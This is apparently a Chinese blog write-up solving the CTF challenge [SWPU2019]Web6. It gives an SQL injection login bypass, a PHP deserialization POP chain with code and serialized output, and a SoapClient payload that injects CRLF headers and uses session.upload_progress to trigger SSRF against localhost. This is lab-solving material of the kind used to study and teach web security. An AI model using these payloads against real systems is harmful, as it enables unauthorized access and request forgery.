[SWPU2019]Web6

/ 0评 / 0

这题的第一步考点在某入群题见过。

1' or '1'='1' group by passwd with rollup having passwd is NULL #

可以登录成功,扫目录的时候发现wsdl.php

然后在主页发现method=user 所以猜测是功能,先尝试用get_flag
method can useget_flagonly admin in 127.0.0.1 can get_flag
SSRF了,那看一下hint吧
a few file may be helpful index.php Service.php interface.php se.php
有一个读文件的功能,读下
index.php没有啥有用的Service.php读不到interface.php
还有一个keyaaaaaaaasdfsaf.txt 拿到flag{this_is_false_flag}
encode.php是一个加密方式 ,直接百度一手解密脚本!
盲猜这个假flag是key。解密出xiaoC:2
我们尝试admin:1重新加密xZmdm9NxaQ==
刷新下就变成了admin
se.php

<?php
ini_set('session.serialize_handler', 'php');
class aa {
    public $mod1;
    public $mod2;
    public function __call($name,$param) {
    if($this->{$name})
        {
             $s1 = $this->{$name};
             $s1();
        }
    }
    public function __get($ke)
    {
        return $this->mod2[$ke];
    }
}
class bb
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
            $this->mod1->test2();
        }
}
class cc
{
        public $mod1;
        public $mod2;
        public $mod3;
        public function __invoke()
        {
                $this->mod2 = $this->mod3.$this->mod1;
        }
}
class dd
{
        public $name;
        public $flag;
        public $b;
        public function getflag()
        {
                session_start();
                var_dump($_SESSION);
                $a = array(reset($_SESSION),$this->flag);
                echo call_user_func($this->b,$a);
        }
}
class ee
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->{$this->str2}();
                return "1";
        }
}

因为之前的思路要用ssrf,这里肯定是要用这个反序列化内容了,但是不知道怎么触发。看了下WP
通过session反序列化。传一个SOAP对象。然后通过se.php的反序列化。触发SOAP对象的get_flag函数。
啥是SOAP呢?

SOAP,简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议。SOAP、WSDL(WebServicesDescriptionLanguage)、
UDDI(UniversalDescriptionDiscovery andIntegration)之一,soap用来描述传递信息的格式, WSDL 用来描述如何访问具体的接口, uddi用来管理,分发,查询webService 。
WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。比如在Windows Server服务器上有个C#.Net开发的应用A,在Linux上有个Java语言开发的应用B,
B应用要调用A应用,或者是互相调用。用于查看对方的业务数据。这个时候,如何解决呢?WebService就是出于以上类似需求而定义出来的规范:开发人员一般就是在具体平台开发webservice接口,
以及调用webservice接口。每种开发语言都有自己的webservice实现框架。而SOAP作为webService三要素SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),
简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。

看不懂没关系,soap是一种协议,属于web service实现所使用的一种技术规范,要用ssrf肯定要用他了
先看反序列化链子吧

  • dd->getflag()肯定最重要调用
  • 用ee->__toString()来构造(1)
  • 用cc->__invoke()中的字符串连接来触发(2)
  • 用aa->__call()中的$s1()来触发(3)
  • 用bb->__destruct()来触发(4)

所以是

$b = new bb();
$a = new aa();
$b->mod1 = $a;
$c = new cc();
$a->mod2['test2'] = $c;
$e = new ee();
$c->mod1 = $e;
$d = new dd();
$e->str1 = $d;
$e->str2 = 'getflag';
$d->flag = 'Get_flag';
$d->b = 'call_user_func';
echo serialize($b);

输出O:2:"bb":2:{s:4:"mod1";O:2:"aa":2:{s:4:"mod1";N;s:4:"mod2";a:1:{s:5:"test2";O:2:"cc":3:{s:4:"mod1";O:2:"ee":2:{s:4:"str1";O:2:"dd":3:{s:4:"name";N;s:4:"flag";s:8:"Get_flag";s:1:"b";s:14:"call_user_func";}s:4:"str2";s:7:"getflag";}s:4:"mod2";N;s:4:"mod3";N;}}}s:4:"mod2";N;}
然后来看soap部分
通过session.upload_progress上传一个可控的session文件,然后由于session引擎的切换造成session反序列化漏洞,就可以,控制一下$_SESSION
先生成一个SoapClient

<?php
$target = 'http://127.0.0.1/interface.php';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: user=xZmdm9NxaQ==',
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri' => "ha1c9on"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo $a;
?>

然后通过PHP_SESSION_UPLOAD_PROGRESS上传session文件,记得cookie中加下PHPSESSID

然后把反序列化好的东西传入,记得加PHPSESSID

此时打出payload。先将靶机的session。反序列化成SOAP对象。然后反序列化触发。call_user_func变成

call_user_func(<span class="hljs-string">'call_user_func'</span>,<span class="hljs-keyword">array</span>($session,<span class="hljs-string">'Get_flag'</span>));
相当于执行了call_user_func($session,<span class="hljs-string">'Get_flag'</span>);
sessin为类。Get_flag为函数名
调用了session中的SOAP类的Get_flag方法

 
至于这里为什么要访问interface.php而不是method=get_flag
在官方WP这样写

$target为什么要设置为interface.php而不是http://127.0.0.1/index.php?method=get_flag,因为后者好像并不会输出结果,所以出题人多做了个soap接口interface.php来完成攻击。实际上。我们能返回到信息,是因为这边已经实例化了SoapServer类的原因。
参考:
http://github.mrkaixin.computer/2020/03/16/BUU(%E4%B8%89)/#1-0-sql%E6%B3%A8%E5%85%A5-with-rollup
https://www.jianshu.com/p/71bc9bdd9882
https://guokeya.github.io/post/EY20O7D3Q/

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注